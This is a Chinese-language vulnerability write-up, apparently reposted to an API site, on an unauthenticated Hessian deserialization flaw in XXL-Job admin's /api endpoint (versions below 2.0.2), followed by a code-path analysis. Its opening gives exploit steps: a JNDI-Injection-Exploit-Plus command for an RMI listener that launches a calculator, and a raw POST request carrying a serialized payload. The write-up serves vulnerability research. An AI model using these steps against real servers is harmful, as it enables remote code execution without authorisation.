使用JNDI-Injection-Exploit-Plus監(jiān)聽rmi請(qǐng)求:

java -jar JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"

項(xiàng)目地址:

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus

發(fā)送請(qǐng)求包:

數(shù)據(jù)包:

POST /xxl-job-admin/api HTTP/1.1
Host: 192.168.22.5:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: x-application/hessian
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
{{file(xxx/java/xxl-job/cmd.ser)}}

0x02 漏洞分析

0x02.1 漏洞搭建

版本小于2.0.2

直接clone源碼后修改logback.xml的log.path為本地文件路徑,然后導(dǎo)入MySQL文件,直接啟動(dòng)即可:

0x02.2 漏洞分析

根據(jù)請(qǐng)求的接口為api查找到對(duì)應(yīng)的Controller為com.xxl.job.admin.controller.JobApiController,@PermessionLimit(limit=false)這里將limit設(shè)置為false就不需要鑒權(quán),進(jìn)入到這里直接進(jìn)入下一步:

進(jìn)入

com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler#invokeAdminService

在這里面沒(méi)有做任何操作:

隨后就會(huì)進(jìn)入到

com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#handle中

首先判斷target是否為/services,不是則會(huì)進(jìn)入

com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest中

對(duì)請(qǐng)求進(jìn)行處理:

進(jìn)入到

com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest中

首先將請(qǐng)求中的body全部讀取出來(lái),讀取出來(lái)的則會(huì)直接進(jìn)行反序列化操作:

接下來(lái)就是查找是那個(gè)類進(jìn)行反序列化操作,主要通過(guò)查找XxlRpcProviderFactory這個(gè)工廠類在那些地方被初始化,直接使用idea右鍵的find Usages:

總的就兩個(gè)地方實(shí)例化了這個(gè)類:

com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler和com.xxl.job.core.executor.XxlJobExecutor

在這兩個(gè)類中都是調(diào)用

com.xxl.rpc.remoting.provider.XxlRpcProviderFactory#initConfig方法

對(duì)成員變量賦值:

而在

com.xxl.rpc.remoting.provider.XxlRpcProviderFactory#initConfig方法中的第二個(gè)參數(shù)

就是剛才調(diào)用的反序列化類,通過(guò)工廠類返回給

com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest

使用:

這里放進(jìn)去的反序列化類就是com.xxl.rpc.serialize.impl.HessianSerializer ,這里面其實(shí)調(diào)用的還是Hessian2進(jìn)行反序列化:

最終在

com.xxl.rpc.serialize.impl.HessianSerializer#deserialize中進(jìn)行hessian2

反序列化操作:

本文章轉(zhuǎn)載微信公眾號(hào)@雜七雜八聊安全

上一篇:

Nexus 1.0:面向類型安全、代碼優(yōu)先GraphQL API的重大版本發(fā)布

下一篇:

四連問(wèn):API 接口應(yīng)該如何設(shè)計(jì)?如何保證安全?如何簽名?如何防重?
#你可能也喜歡這些API文章!

我們有何不同?

API服務(wù)商零注冊(cè)

多API并行試用

數(shù)據(jù)驅(qū)動(dòng)選型,提升決策效率

查看全部API→
??

熱門場(chǎng)景實(shí)測(cè),選對(duì)API

#AI文本生成大模型API

對(duì)比大模型API的內(nèi)容創(chuàng)意新穎性、情感共鳴力、商業(yè)轉(zhuǎn)化潛力

25個(gè)渠道
一鍵對(duì)比試用API 限時(shí)免費(fèi)

#AI深度推理大模型API

對(duì)比大模型API的邏輯推理準(zhǔn)確性、分析深度、可視化建議合理性

10個(gè)渠道
一鍵對(duì)比試用API 限時(shí)免費(fèi)